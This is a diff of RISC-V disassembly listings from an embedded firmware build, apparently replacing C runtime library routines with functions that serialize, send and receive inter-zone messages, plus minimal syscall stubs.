-20402f4c:	00de76b3          	and	a3,t3,a3
-20402f50:	02d30e33          	mul	t3,t1,a3
-20402f54:	02d806b3          	mul	a3,a6,a3
-20402f58:	010e5713          	srli	a4,t3,0x10
-20402f5c:	02c30333          	mul	t1,t1,a2
-20402f60:	9336                	add	t1,t1,a3
-20402f62:	971a                	add	a4,a4,t1
-20402f64:	02c80833          	mul	a6,a6,a2
-20402f68:	00d77363          	bgeu	a4,a3,20402f6e <__udivdi3+0x330>
-20402f6c:	9876                	add	a6,a6,t4
-20402f6e:	01075693          	srli	a3,a4,0x10
-20402f72:	9836                	add	a6,a6,a3
-20402f74:	0307e063          	bltu	a5,a6,20402f94 <__udivdi3+0x356>
-20402f78:	d90794e3          	bne	a5,a6,20402d00 <__udivdi3+0xc2>
-20402f7c:	67c1                	lui	a5,0x10
-20402f7e:	17fd                	addi	a5,a5,-1
-20402f80:	8f7d                	and	a4,a4,a5
-20402f82:	0742                	slli	a4,a4,0x10
-20402f84:	00fe7e33          	and	t3,t3,a5
-20402f88:	00b898b3          	sll	a7,a7,a1
-20402f8c:	9772                	add	a4,a4,t3
-20402f8e:	4581                	li	a1,0
-20402f90:	e2e8f4e3          	bgeu	a7,a4,20402db8 <__udivdi3+0x17a>
-20402f94:	157d                	addi	a0,a0,-1
-20402f96:	b3ad                	j	20402d00 <__udivdi3+0xc2>
-20402f98:	4581                	li	a1,0
-20402f9a:	4501                	li	a0,0
-20402f9c:	bd31                	j	20402db8 <__udivdi3+0x17a>
+20401e10 <deserializeZoneMessage>:
+20401e10:	1141                	addi	sp,sp,-16
+20401e12:	c422                	sw	s0,8(sp)
+20401e14:	842a                	mv	s0,a0
+20401e16:	00002517          	auipc	a0,0x2
+20401e1a:	44e50513          	addi	a0,a0,1102 # 20404264 <_exit+0x672>
+20401e1e:	c606                	sw	ra,12(sp)
+20401e20:	c226                	sw	s1,4(sp)
+20401e22:	c04a                	sw	s2,0(sp)
+20401e24:	892e                	mv	s2,a1
+20401e26:	0b3000ef          	jal	ra,204026d8 <strlen>
+20401e2a:	00350493          	addi	s1,a0,3
+20401e2e:	00002517          	auipc	a0,0x2
+20401e32:	43650513          	addi	a0,a0,1078 # 20404264 <_exit+0x672>
+20401e36:	0a3000ef          	jal	ra,204026d8 <strlen>
+20401e3a:	9522                	add	a0,a0,s0
+20401e3c:	00155603          	lhu	a2,1(a0)
+20401e40:	94a2                	add	s1,s1,s0
+20401e42:	85a6                	mv	a1,s1
+20401e44:	4681                	li	a3,0
+20401e46:	4501                	li	a0,0
+20401e48:	3df5                	jal	20401d44 <setZoneMessage>
+20401e4a:	4785                	li	a5,1
+20401e4c:	84aa                	mv	s1,a0
+20401e4e:	00f91463          	bne	s2,a5,20401e56 <deserializeZoneMessage+0x46>
+20401e52:	8522                	mv	a0,s0
+20401e54:	2bf1                	jal	20402430 <free>
+20401e56:	40b2                	lw	ra,12(sp)
+20401e58:	4422                	lw	s0,8(sp)
+20401e5a:	4902                	lw	s2,0(sp)
+20401e5c:	8526                	mv	a0,s1
+20401e5e:	4492                	lw	s1,4(sp)
+20401e60:	0141                	addi	sp,sp,16
+20401e62:	8082                	ret
 
-20402f9e <abs>:
-20402f9e:	41f55793          	srai	a5,a0,0x1f
-20402fa2:	8d3d                	xor	a0,a0,a5
-20402fa4:	8d1d                	sub	a0,a0,a5
-20402fa6:	8082                	ret
+20401e64 <receiveZoneMessageLoop>:
+20401e64:	1101                	addi	sp,sp,-32
+20401e66:	c84a                	sw	s2,16(sp)
+20401e68:	892a                	mv	s2,a0
+20401e6a:	00002517          	auipc	a0,0x2
+20401e6e:	3fa50513          	addi	a0,a0,1018 # 20404264 <_exit+0x672>
+20401e72:	ce06                	sw	ra,28(sp)
+20401e74:	cc22                	sw	s0,24(sp)
+20401e76:	ca26                	sw	s1,20(sp)
+20401e78:	c64e                	sw	s3,12(sp)
+20401e7a:	84ae                	mv	s1,a1
+20401e7c:	c452                	sw	s4,8(sp)
+20401e7e:	c256                	sw	s5,4(sp)
+20401e80:	059000ef          	jal	ra,204026d8 <strlen>
+20401e84:	842a                	mv	s0,a0
+20401e86:	00002517          	auipc	a0,0x2
+20401e8a:	3de50513          	addi	a0,a0,990 # 20404264 <_exit+0x672>
+20401e8e:	04b000ef          	jal	ra,204026d8 <strlen>
+20401e92:	9526                	add	a0,a0,s1
+20401e94:	00155503          	lhu	a0,1(a0)
+20401e98:	040d                	addi	s0,s0,3
+20401e9a:	4981                	li	s3,0
+20401e9c:	942a                	add	s0,s0,a0
+20401e9e:	0442                	slli	s0,s0,0x10
+20401ea0:	8041                	srli	s0,s0,0x10
+20401ea2:	8522                	mv	a0,s0
+20401ea4:	2351                	jal	20402428 <malloc>
+20401ea6:	8a2a                	mv	s4,a0
+20401ea8:	00002517          	auipc	a0,0x2
+20401eac:	3bc50513          	addi	a0,a0,956 # 20404264 <_exit+0x672>
+20401eb0:	029000ef          	jal	ra,204026d8 <strlen>
+20401eb4:	4505                	li	a0,1
+20401eb6:	4abd                	li	s5,15
+20401eb8:	c10d                	beqz	a0,20401eda <receiveZoneMessageLoop+0x76>
+20401eba:	413407b3          	sub	a5,s0,s3
+20401ebe:	4641                	li	a2,16
+20401ec0:	00fac563          	blt	s5,a5,20401eca <receiveZoneMessageLoop+0x66>
+20401ec4:	01079613          	slli	a2,a5,0x10
+20401ec8:	8241                	srli	a2,a2,0x10
+20401eca:	013a0533          	add	a0,s4,s3
+20401ece:	09c1                	addi	s3,s3,16
+20401ed0:	85a6                	mv	a1,s1
+20401ed2:	09c2                	slli	s3,s3,0x10
+20401ed4:	2395                	jal	20402438 <memcpy>
+20401ed6:	0109d993          	srli	s3,s3,0x10
+20401eda:	0289f063          	bgeu	s3,s0,20401efa <receiveZoneMessageLoop+0x96>
+20401ede:	4505                	li	a0,1
+20401ee0:	00300073          	0x300073
+20401ee4:	85ca                	mv	a1,s2
+20401ee6:	450d                	li	a0,3
+20401ee8:	00300073          	0x300073
+20401eec:	0542                	slli	a0,a0,0x10
+20401eee:	c090                	sw	a2,0(s1)
+20401ef0:	c0d4                	sw	a3,4(s1)
+20401ef2:	c498                	sw	a4,8(s1)
+20401ef4:	c4dc                	sw	a5,12(s1)
+20401ef6:	8141                	srli	a0,a0,0x10
+20401ef8:	b7c1                	j	20401eb8 <receiveZoneMessageLoop+0x54>
+20401efa:	4462                	lw	s0,24(sp)
+20401efc:	40f2                	lw	ra,28(sp)
+20401efe:	44d2                	lw	s1,20(sp)
+20401f00:	4942                	lw	s2,16(sp)
+20401f02:	49b2                	lw	s3,12(sp)
+20401f04:	4a92                	lw	s5,4(sp)
+20401f06:	8552                	mv	a0,s4
+20401f08:	4a22                	lw	s4,8(sp)
+20401f0a:	4585                	li	a1,1
+20401f0c:	6105                	addi	sp,sp,32
+20401f0e:	b709                	j	20401e10 <deserializeZoneMessage>
 
-20402fa8 <atexit>:
-20402fa8:	85aa                	mv	a1,a0
-20402faa:	4681                	li	a3,0
-20402fac:	4601                	li	a2,0
-20402fae:	4501                	li	a0,0
-20402fb0:	15b0006f          	j	2040390a <__register_exitproc>
+20401f10 <receiveZoneMessageAndHandlePrintf2>:
+20401f10:	7179                	addi	sp,sp,-48
+20401f12:	d422                	sw	s0,40(sp)
+20401f14:	cc52                	sw	s4,24(sp)
+20401f16:	842a                	mv	s0,a0
+20401f18:	8a2e                	mv	s4,a1
+20401f1a:	4641                	li	a2,16
+20401f1c:	4581                	li	a1,0
+20401f1e:	850a                	mv	a0,sp
+20401f20:	d606                	sw	ra,44(sp)
+20401f22:	d226                	sw	s1,36(sp)
+20401f24:	d04a                	sw	s2,32(sp)
+20401f26:	ce4e                	sw	s3,28(sp)
+20401f28:	ca56                	sw	s5,20(sp)
+20401f2a:	23a9                	jal	20402474 <memset>
+20401f2c:	85a2                	mv	a1,s0
+20401f2e:	450d                	li	a0,3
+20401f30:	00300073          	0x300073
+20401f34:	c032                	sw	a2,0(sp)
+20401f36:	c236                	sw	a3,4(sp)
+20401f38:	c43a                	sw	a4,8(sp)
+20401f3a:	c63e                	sw	a5,12(sp)
+20401f3c:	e119                	bnez	a0,20401f42 <receiveZoneMessageAndHandlePrintf2+0x32>
+20401f3e:	4401                	li	s0,0
+20401f40:	a889                	j	20401f92 <receiveZoneMessageAndHandlePrintf2+0x82>
+20401f42:	00002517          	auipc	a0,0x2
+20401f46:	32250513          	addi	a0,a0,802 # 20404264 <_exit+0x672>
+20401f4a:	78e000ef          	jal	ra,204026d8 <strlen>
+20401f4e:	862a                	mv	a2,a0
+20401f50:	858a                	mv	a1,sp
+20401f52:	00002517          	auipc	a0,0x2
+20401f56:	31250513          	addi	a0,a0,786 # 20404264 <_exit+0x672>
+20401f5a:	790000ef          	jal	ra,204026ea <strncmp>
+20401f5e:	e521                	bnez	a0,20401fa6 <receiveZoneMessageAndHandlePrintf2+0x96>
+20401f60:	00002517          	auipc	a0,0x2
+20401f64:	30450513          	addi	a0,a0,772 # 20404264 <_exit+0x672>
+20401f68:	770000ef          	jal	ra,204026d8 <strlen>
+20401f6c:	081c                	addi	a5,sp,16
+20401f6e:	953e                	add	a0,a0,a5
+20401f70:	ff155603          	lhu	a2,-15(a0)
+20401f74:	858a                	mv	a1,sp
+20401f76:	00002517          	auipc	a0,0x2
+20401f7a:	32650513          	addi	a0,a0,806 # 2040429c <_exit+0x6aa>
+20401f7e:	2d95                	jal	204025f2 <iprintf>
+20401f80:	8522                	mv	a0,s0
+20401f82:	858a                	mv	a1,sp
+20401f84:	35c5                	jal	20401e64 <receiveZoneMessageLoop>
+20401f86:	842a                	mv	s0,a0
+20401f88:	00002517          	auipc	a0,0x2
+20401f8c:	33850513          	addi	a0,a0,824 # 204042c0 <_exit+0x6ce>
+20401f90:	258d                	jal	204025f2 <iprintf>
+20401f92:	50b2                	lw	ra,44(sp)
+20401f94:	8522                	mv	a0,s0
+20401f96:	5422                	lw	s0,40(sp)
+20401f98:	5492                	lw	s1,36(sp)
+20401f9a:	5902                	lw	s2,32(sp)
+20401f9c:	49f2                	lw	s3,28(sp)
+20401f9e:	4a62                	lw	s4,24(sp)
+20401fa0:	4ad2                	lw	s5,20(sp)
+20401fa2:	6145                	addi	sp,sp,48
+20401fa4:	8082                	ret
+20401fa6:	fff40493          	addi	s1,s0,-1
+20401faa:	00249a93          	slli	s5,s1,0x2
+20401fae:	80818913          	addi	s2,gp,-2040 # 8000d868 <recvBuffer.1>
+20401fb2:	015909b3          	add	s3,s2,s5
+20401fb6:	0009a503          	lw	a0,0(s3)
+20401fba:	4641                	li	a2,16
+20401fbc:	858a                	mv	a1,sp
+20401fbe:	29ad                	jal	20402438 <memcpy>
+20401fc0:	0009a703          	lw	a4,0(s3)
+20401fc4:	00649793          	slli	a5,s1,0x6
+20401fc8:	87418493          	addi	s1,gp,-1932 # 8000d8d4 <str.0>
+20401fcc:	94be                	add	s1,s1,a5
+20401fce:	0741                	addi	a4,a4,16
+20401fd0:	04048793          	addi	a5,s1,64
+20401fd4:	06e7e663          	bltu	a5,a4,20402040 <receiveZoneMessageAndHandlePrintf2+0x130>
+20401fd8:	00e9a023          	sw	a4,0(s3)
+20401fdc:	45c1                	li	a1,16
+20401fde:	850a                	mv	a0,sp
+20401fe0:	738000ef          	jal	ra,20402718 <strnlen>
+20401fe4:	47bd                	li	a5,15
+20401fe6:	f4a7ece3          	bltu	a5,a0,20401f3e <receiveZoneMessageAndHandlePrintf2+0x2e>
+20401fea:	4619                	li	a2,6
+20401fec:	00002597          	auipc	a1,0x2
+20401ff0:	e3c58593          	addi	a1,a1,-452 # 20403e28 <_exit+0x236>
+20401ff4:	4505                	li	a0,1
+20401ff6:	7a4000ef          	jal	ra,2040279a <write>
+20401ffa:	85a2                	mv	a1,s0
+20401ffc:	8626                	mv	a2,s1
+20401ffe:	00002517          	auipc	a0,0x2
+20402002:	28650513          	addi	a0,a0,646 # 20404284 <_exit+0x692>
+20402006:	23f5                	jal	204025f2 <iprintf>
+20402008:	45a9                	li	a1,10
+2040200a:	8526                	mv	a0,s1
+2040200c:	724000ef          	jal	ra,20402730 <strrchr>
+20402010:	e511                	bnez	a0,2040201c <receiveZoneMessageAndHandlePrintf2+0x10c>
+20402012:	00002517          	auipc	a0,0x2
+20402016:	e7250513          	addi	a0,a0,-398 # 20403e84 <_exit+0x292>
+2040201a:	2be1                	jal	204025f2 <iprintf>
+2040201c:	85d2                	mv	a1,s4
+2040201e:	00002517          	auipc	a0,0x2
+20402022:	27250513          	addi	a0,a0,626 # 20404290 <_exit+0x69e>
+20402026:	23f1                	jal	204025f2 <iprintf>
+20402028:	4619                	li	a2,6
+2040202a:	00002597          	auipc	a1,0x2
+2040202e:	ea658593          	addi	a1,a1,-346 # 20403ed0 <_exit+0x2de>
+20402032:	4505                	li	a0,1
+20402034:	9956                	add	s2,s2,s5
+20402036:	764000ef          	jal	ra,2040279a <write>
+2040203a:	00992023          	sw	s1,0(s2)
+2040203e:	b701                	j	20401f3e <receiveZoneMessageAndHandlePrintf2+0x2e>
+20402040:	0099a023          	sw	s1,0(s3)
+20402044:	bf61                	j	20401fdc <receiveZoneMessageAndHandlePrintf2+0xcc>
 
-20402fb4 <__libc_fini_array>:
-20402fb4:	1141                	addi	sp,sp,-16
-20402fb6:	c422                	sw	s0,8(sp)
-20402fb8:	c226                	sw	s1,4(sp)
-20402fba:	fffff417          	auipc	s0,0xfffff
-20402fbe:	8b640413          	addi	s0,s0,-1866 # 20401870 <exit>
-20402fc2:	fffff497          	auipc	s1,0xfffff
-20402fc6:	8ae48493          	addi	s1,s1,-1874 # 20401870 <exit>
-20402fca:	8c05                	sub	s0,s0,s1
-20402fcc:	c606                	sw	ra,12(sp)
-20402fce:	8409                	srai	s0,s0,0x2
-20402fd0:	e411                	bnez	s0,20402fdc <__libc_fini_array+0x28>
-20402fd2:	40b2                	lw	ra,12(sp)
-20402fd4:	4422                	lw	s0,8(sp)
-20402fd6:	4492                	lw	s1,4(sp)
-20402fd8:	0141                	addi	sp,sp,16
-20402fda:	8082                	ret
-20402fdc:	147d                	addi	s0,s0,-1
-20402fde:	00241793          	slli	a5,s0,0x2
-20402fe2:	97a6                	add	a5,a5,s1
-20402fe4:	439c                	lw	a5,0(a5)
-20402fe6:	9782                	jalr	a5
-20402fe8:	b7e5                	j	20402fd0 <__libc_fini_array+0x1c>
+20402046 <sendZoneMessage>:
+20402046:	711d                	addi	sp,sp,-96
+20402048:	caa6                	sw	s1,84(sp)
+2040204a:	c4d2                	sw	s4,72(sp)
+2040204c:	84aa                	mv	s1,a0
+2040204e:	00055a03          	lhu	s4,0(a0)
+20402052:	00002517          	auipc	a0,0x2
+20402056:	21250513          	addi	a0,a0,530 # 20404264 <_exit+0x672>
+2040205a:	c8ca                	sw	s2,80(sp)
+2040205c:	c2d6                	sw	s5,68(sp)
+2040205e:	c0da                	sw	s6,64(sp)
+20402060:	ce86                	sw	ra,92(sp)
+20402062:	cca2                	sw	s0,88(sp)
+20402064:	c6ce                	sw	s3,76(sp)
+20402066:	de5e                	sw	s7,60(sp)
+20402068:	dc62                	sw	s8,56(sp)
+2040206a:	da66                	sw	s9,52(sp)
+2040206c:	8aae                	mv	s5,a1
+2040206e:	8b32                	mv	s6,a2
+20402070:	25a5                	jal	204026d8 <strlen>
+20402072:	0004d903          	lhu	s2,0(s1)
+20402076:	4785                	li	a5,1
+20402078:	090d                	addi	s2,s2,3
+2040207a:	992a                	add	s2,s2,a0
+2040207c:	0942                	slli	s2,s2,0x10
+2040207e:	01095913          	srli	s2,s2,0x10
+20402082:	0efa9863          	bne	s5,a5,20402172 <sendZoneMessage+0x12c>
+20402086:	00002517          	auipc	a0,0x2
+2040208a:	25e50513          	addi	a0,a0,606 # 204042e4 <_exit+0x6f2>
+2040208e:	2395                	jal	204025f2 <iprintf>
+20402090:	85da                	mv	a1,s6
+20402092:	8526                	mv	a0,s1
+20402094:	39c5                	jal	20401d84 <serializeZoneMessage>
+20402096:	842a                	mv	s0,a0
+20402098:	00002517          	auipc	a0,0x2
+2040209c:	26c50513          	addi	a0,a0,620 # 20404304 <_exit+0x712>
+204020a0:	2b89                	jal	204025f2 <iprintf>
+204020a2:	00002517          	auipc	a0,0x2
+204020a6:	27e50513          	addi	a0,a0,638 # 20404320 <_exit+0x72e>
+204020aa:	23a1                	jal	204025f2 <iprintf>
+204020ac:	00002517          	auipc	a0,0x2
+204020b0:	28850513          	addi	a0,a0,648 # 20404334 <_exit+0x742>
+204020b4:	2b3d                	jal	204025f2 <iprintf>
+204020b6:	04100793          	li	a5,65
+204020ba:	00002517          	auipc	a0,0x2
+204020be:	28a50513          	addi	a0,a0,650 # 20404344 <_exit+0x752>
+204020c2:	00f10e23          	sb	a5,28(sp)
+204020c6:	2335                	jal	204025f2 <iprintf>
+204020c8:	00002517          	auipc	a0,0x2
+204020cc:	19c50513          	addi	a0,a0,412 # 20404264 <_exit+0x672>
+204020d0:	2521                	jal	204026d8 <strlen>
+204020d2:	0004d683          	lhu	a3,0(s1)
+204020d6:	00150593          	addi	a1,a0,1
+204020da:	4609                	li	a2,2
+204020dc:	00002517          	auipc	a0,0x2
+204020e0:	28050513          	addi	a0,a0,640 # 2040435c <_exit+0x76a>
+204020e4:	2339                	jal	204025f2 <iprintf>
+204020e6:	00002517          	auipc	a0,0x2
+204020ea:	17e50513          	addi	a0,a0,382 # 20404264 <_exit+0x672>
+204020ee:	23ed                	jal	204026d8 <strlen>
+204020f0:	00350593          	addi	a1,a0,3
+204020f4:	8652                	mv	a2,s4
+204020f6:	95a2                	add	a1,a1,s0
+204020f8:	0868                	addi	a0,sp,28
+204020fa:	2e3d                	jal	20402438 <memcpy>
+204020fc:	00002517          	auipc	a0,0x2
+20402100:	16850513          	addi	a0,a0,360 # 20404264 <_exit+0x672>
+20402104:	2bd1                	jal	204026d8 <strlen>
+20402106:	9522                	add	a0,a0,s0
+20402108:	00155603          	lhu	a2,1(a0)
+2040210c:	01c14683          	lbu	a3,28(sp)
+20402110:	85a2                	mv	a1,s0
+20402112:	00002517          	auipc	a0,0x2
+20402116:	29a50513          	addi	a0,a0,666 # 204043ac <_exit+0x7ba>
+2040211a:	29e1                	jal	204025f2 <iprintf>
+2040211c:	4785                	li	a5,1
+2040211e:	00fb1363          	bne	s6,a5,20402124 <sendZoneMessage+0xde>
+20402122:	4481                	li	s1,0
+20402124:	4981                	li	s3,0
+20402126:	4a3d                	li	s4,15
+20402128:	4b05                	li	s6,1
+2040212a:	00002b97          	auipc	s7,0x2
+2040212e:	2d6b8b93          	addi	s7,s7,726 # 20404400 <_exit+0x80e>
+20402132:	00002c17          	auipc	s8,0x2
+20402136:	132c0c13          	addi	s8,s8,306 # 20404264 <_exit+0x672>
+2040213a:	00002c97          	auipc	s9,0x2
+2040213e:	2b6c8c93          	addi	s9,s9,694 # 204043f0 <_exit+0x7fe>
+20402142:	0d29ef63          	bltu	s3,s2,20402220 <sendZoneMessage+0x1da>
+20402146:	4785                	li	a5,1
+20402148:	00fa9763          	bne	s5,a5,20402156 <sendZoneMessage+0x110>
+2040214c:	00002517          	auipc	a0,0x2
+20402150:	2c050513          	addi	a0,a0,704 # 2040440c <_exit+0x81a>
+20402154:	2979                	jal	204025f2 <iprintf>
+20402156:	40f6                	lw	ra,92(sp)
+20402158:	4466                	lw	s0,88(sp)
+2040215a:	4946                	lw	s2,80(sp)
+2040215c:	49b6                	lw	s3,76(sp)
+2040215e:	4a26                	lw	s4,72(sp)
+20402160:	4a96                	lw	s5,68(sp)
+20402162:	4b06                	lw	s6,64(sp)
+20402164:	5bf2                	lw	s7,60(sp)
+20402166:	5c62                	lw	s8,56(sp)
+20402168:	5cd2                	lw	s9,52(sp)
+2040216a:	8526                	mv	a0,s1
+2040216c:	44d6                	lw	s1,84(sp)
+2040216e:	6125                	addi	sp,sp,96
+20402170:	8082                	ret
+20402172:	4789                	li	a5,2
+20402174:	fafa94e3          	bne	s5,a5,2040211c <sendZoneMessage+0xd6>
+20402178:	85da                	mv	a1,s6
+2040217a:	8526                	mv	a0,s1
+2040217c:	3121                	jal	20401d84 <serializeZoneMessage>
+2040217e:	842a                	mv	s0,a0
+20402180:	001a0513          	addi	a0,s4,1
+20402184:	2455                	jal	20402428 <malloc>
+20402186:	89aa                	mv	s3,a0
+20402188:	00002517          	auipc	a0,0x2
+2040218c:	0dc50513          	addi	a0,a0,220 # 20404264 <_exit+0x672>
+20402190:	23a1                	jal	204026d8 <strlen>
+20402192:	00350593          	addi	a1,a0,3
+20402196:	8652                	mv	a2,s4
+20402198:	95a2                	add	a1,a1,s0
+2040219a:	854e                	mv	a0,s3
+2040219c:	2c71                	jal	20402438 <memcpy>
+2040219e:	9a4e                	add	s4,s4,s3
+204021a0:	000a0023          	sb	zero,0(s4)
+204021a4:	08000513          	li	a0,128
+204021a8:	2441                	jal	20402428 <malloc>
+204021aa:	8a2a                	mv	s4,a0
+204021ac:	08000613          	li	a2,128
+204021b0:	4581                	li	a1,0
+204021b2:	24c9                	jal	20402474 <memset>
+204021b4:	060a0363          	beqz	s4,2040221a <sendZoneMessage+0x1d4>
+204021b8:	00002517          	auipc	a0,0x2
+204021bc:	0ac50513          	addi	a0,a0,172 # 20404264 <_exit+0x672>
+204021c0:	2b21                	jal	204026d8 <strlen>
+204021c2:	9522                	add	a0,a0,s0
+204021c4:	00155703          	lhu	a4,1(a0)
+204021c8:	87ce                	mv	a5,s3
+204021ca:	86a2                	mv	a3,s0
+204021cc:	00002617          	auipc	a2,0x2
+204021d0:	20460613          	addi	a2,a2,516 # 204043d0 <_exit+0x7de>
+204021d4:	08000593          	li	a1,128
+204021d8:	8552                	mv	a0,s4
+204021da:	29a5                	jal	20402652 <sniprintf>
+204021dc:	4341                	li	t1,16
+204021de:	02654333          	div	t1,a0,t1
+204021e2:	4801                	li	a6,0
+204021e4:	4e09                	li	t3,2
+204021e6:	03034863          	blt	t1,a6,20402216 <sendZoneMessage+0x1d0>
+204021ea:	00481893          	slli	a7,a6,0x4
+204021ee:	98d2                	add	a7,a7,s4
+204021f0:	a021                	j	204021f8 <sendZoneMessage+0x1b2>
+204021f2:	4501                	li	a0,0
+204021f4:	00300073          	0x300073
+204021f8:	85f2                	mv	a1,t3
+204021fa:	0008a603          	lw	a2,0(a7)
+204021fe:	0048a683          	lw	a3,4(a7)
+20402202:	0088a703          	lw	a4,8(a7)
+20402206:	00c8a783          	lw	a5,12(a7)
+2040220a:	4509                	li	a0,2
+2040220c:	00300073          	0x300073
+20402210:	d16d                	beqz	a0,204021f2 <sendZoneMessage+0x1ac>
+20402212:	0805                	addi	a6,a6,1
+20402214:	bfc9                	j	204021e6 <sendZoneMessage+0x1a0>
+20402216:	8552                	mv	a0,s4
+20402218:	2c21                	jal	20402430 <free>
+2040221a:	854e                	mv	a0,s3
+2040221c:	2c11                	jal	20402430 <free>
+2040221e:	bdfd                	j	2040211c <sendZoneMessage+0xd6>
+20402220:	4641                	li	a2,16
+20402222:	4581                	li	a1,0
+20402224:	0068                	addi	a0,sp,12
+20402226:	24b9                	jal	20402474 <memset>
+20402228:	413907b3          	sub	a5,s2,s3
+2040222c:	4641                	li	a2,16
+2040222e:	00fa4563          	blt	s4,a5,20402238 <sendZoneMessage+0x1f2>
+20402232:	01079613          	slli	a2,a5,0x10
+20402236:	8241                	srli	a2,a2,0x10
+20402238:	013405b3          	add	a1,s0,s3
+2040223c:	0068                	addi	a0,sp,12
+2040223e:	2aed                	jal	20402438 <memcpy>
+20402240:	85d6                	mv	a1,s5
+20402242:	4632                	lw	a2,12(sp)
+20402244:	46c2                	lw	a3,16(sp)
+20402246:	4752                	lw	a4,20(sp)
+20402248:	47e2                	lw	a5,24(sp)
+2040224a:	4509                	li	a0,2
+2040224c:	00300073          	0x300073
+20402250:	c91d                	beqz	a0,20402286 <sendZoneMessage+0x240>
+20402252:	09c1                	addi	s3,s3,16
+20402254:	09c2                	slli	s3,s3,0x10
+20402256:	0109d993          	srli	s3,s3,0x10
+2040225a:	036a9463          	bne	s5,s6,20402282 <sendZoneMessage+0x23c>
+2040225e:	4641                	li	a2,16
+20402260:	006c                	addi	a1,sp,12
+20402262:	0868                	addi	a0,sp,28
+20402264:	2ad1                	jal	20402438 <memcpy>
+20402266:	47c1                	li	a5,16
+20402268:	02010623          	sb	zero,44(sp)
+2040226c:	02f99163          	bne	s3,a5,2040228e <sendZoneMessage+0x248>
+20402270:	8562                	mv	a0,s8
+20402272:	219d                	jal	204026d8 <strlen>
+20402274:	181c                	addi	a5,sp,48
+20402276:	953e                	add	a0,a0,a5
+20402278:	fed54603          	lbu	a2,-19(a0)
+2040227c:	086c                	addi	a1,sp,28
+2040227e:	8566                	mv	a0,s9
+20402280:	2e8d                	jal	204025f2 <iprintf>
+20402282:	ed29f2e3          	bgeu	s3,s2,20402146 <sendZoneMessage+0x100>
+20402286:	4501                	li	a0,0
+20402288:	00300073          	0x300073
+2040228c:	bd5d                	j	20402142 <sendZoneMessage+0xfc>
+2040228e:	01c14583          	lbu	a1,28(sp)
+20402292:	855e                	mv	a0,s7
+20402294:	2eb9                	jal	204025f2 <iprintf>
+20402296:	b7f5                	j	20402282 <sendZoneMessage+0x23c>
 
-20402fea <__libc_init_array>:
-20402fea:	1141                	addi	sp,sp,-16
-20402fec:	c422                	sw	s0,8(sp)
-20402fee:	c226                	sw	s1,4(sp)
-20402ff0:	fffff417          	auipc	s0,0xfffff
-20402ff4:	88040413          	addi	s0,s0,-1920 # 20401870 <exit>
-20402ff8:	fffff497          	auipc	s1,0xfffff
-20402ffc:	87848493          	addi	s1,s1,-1928 # 20401870 <exit>
-20403000:	8c81                	sub	s1,s1,s0
-20403002:	c04a                	sw	s2,0(sp)
-20403004:	c606                	sw	ra,12(sp)
-20403006:	8489                	srai	s1,s1,0x2
-20403008:	4901                	li	s2,0
-2040300a:	02991563          	bne	s2,s1,20403034 <__libc_init_array+0x4a>
-2040300e:	fffff417          	auipc	s0,0xfffff
-20403012:	86240413          	addi	s0,s0,-1950 # 20401870 <exit>
-20403016:	fffff497          	auipc	s1,0xfffff
-2040301a:	85a48493          	addi	s1,s1,-1958 # 20401870 <exit>
-2040301e:	8c81                	sub	s1,s1,s0
-20403020:	8489                	srai	s1,s1,0x2
-20403022:	4901                	li	s2,0
-20403024:	00991d63          	bne	s2,s1,2040303e <__libc_init_array+0x54>
-20403028:	40b2                	lw	ra,12(sp)
-2040302a:	4422                	lw	s0,8(sp)
-2040302c:	4492                	lw	s1,4(sp)
-2040302e:	4902                	lw	s2,0(sp)
-20403030:	0141                	addi	sp,sp,16
-20403032:	8082                	ret
-20403034:	401c                	lw	a5,0(s0)
-20403036:	0905                	addi	s2,s2,1
-20403038:	0411                	addi	s0,s0,4
-2040303a:	9782                	jalr	a5
-2040303c:	b7f9                	j	2040300a <__libc_init_array+0x20>
-2040303e:	401c                	lw	a5,0(s0)
-20403040:	0905                	addi	s2,s2,1
-20403042:	0411                	addi	s0,s0,4
-20403044:	9782                	jalr	a5
-20403046:	bff9                	j	20403024 <__libc_init_array+0x3a>
+20402298 <_close>:
+20402298:	557d                	li	a0,-1
+2040229a:	8082                	ret
 
-20403048 <memcpy>:
-20403048:	832a                	mv	t1,a0
-2040304a:	ca09                	beqz	a2,2040305c <memcpy+0x14>
-2040304c:	00058383          	lb	t2,0(a1)
-20403050:	00730023          	sb	t2,0(t1)
-20403054:	167d                	addi	a2,a2,-1
-20403056:	0305                	addi	t1,t1,1
-20403058:	0585                	addi	a1,a1,1
-2040305a:	fa6d                	bnez	a2,2040304c <memcpy+0x4>
-2040305c:	8082                	ret
+2040229c <_fstat>:
+2040229c:	6789                	lui	a5,0x2
+2040229e:	c1dc                	sw	a5,4(a1)
+204022a0:	4501                	li	a0,0
+204022a2:	8082                	ret
 
-2040305e <memmove>:
-2040305e:	c215                	beqz	a2,20403082 <memmove+0x24>
-20403060:	832a                	mv	t1,a0
-20403062:	4685                	li	a3,1
-20403064:	00b56763          	bltu	a0,a1,20403072 <memmove+0x14>
-20403068:	56fd                	li	a3,-1
-2040306a:	fff60713          	addi	a4,a2,-1
-2040306e:	933a                	add	t1,t1,a4
-20403070:	95ba                	add	a1,a1,a4
-20403072:	00058383          	lb	t2,0(a1)
-20403076:	00730023          	sb	t2,0(t1)
-2040307a:	167d                	addi	a2,a2,-1
-2040307c:	9336                	add	t1,t1,a3
-2040307e:	95b6                	add	a1,a1,a3
-20403080:	fa6d                	bnez	a2,20403072 <memmove+0x14>
-20403082:	8082                	ret
+204022a4 <_sbrk>:
+204022a4:	81018713          	addi	a4,gp,-2032 # 8000d870 <_heap_ptr.0>
+204022a8:	87aa                	mv	a5,a0
+204022aa:	4308                	lw	a0,0(a4)
+204022ac:	18018693          	addi	a3,gp,384 # 8000e1e0 <_end>
+204022b0:	97aa                	add	a5,a5,a0
+204022b2:	00d7e863          	bltu	a5,a3,204022c2 <_sbrk+0x1e>
+204022b6:	7a018693          	addi	a3,gp,1952 # 8000e800 <_heap_end>
+204022ba:	00f6e463          	bltu	a3,a5,204022c2 <_sbrk+0x1e>
+204022be:	c31c                	sw	a5,0(a4)
+204022c0:	8082                	ret
+204022c2:	557d                	li	a0,-1
+204022c4:	8082                	ret
 
-20403084 <memset>:
-20403084:	832a                	mv	t1,a0
-20403086:	c611                	beqz	a2,20403092 <memset+0xe>
-20403088:	00b30023          	sb	a1,0(t1)
-2040308c:	167d                	addi	a2,a2,-1
-2040308e:	0305                	addi	t1,t1,1
-20403090:	fe65                	bnez	a2,20403088 <memset+0x4>
-20403092:	8082                	ret
+204022c6 <_isatty>:
+204022c6:	00353513          	sltiu	a0,a0,3
+204022ca:	8082                	ret
 
-20403094 <iprintf>:
-20403094:	715d                	addi	sp,sp,-80
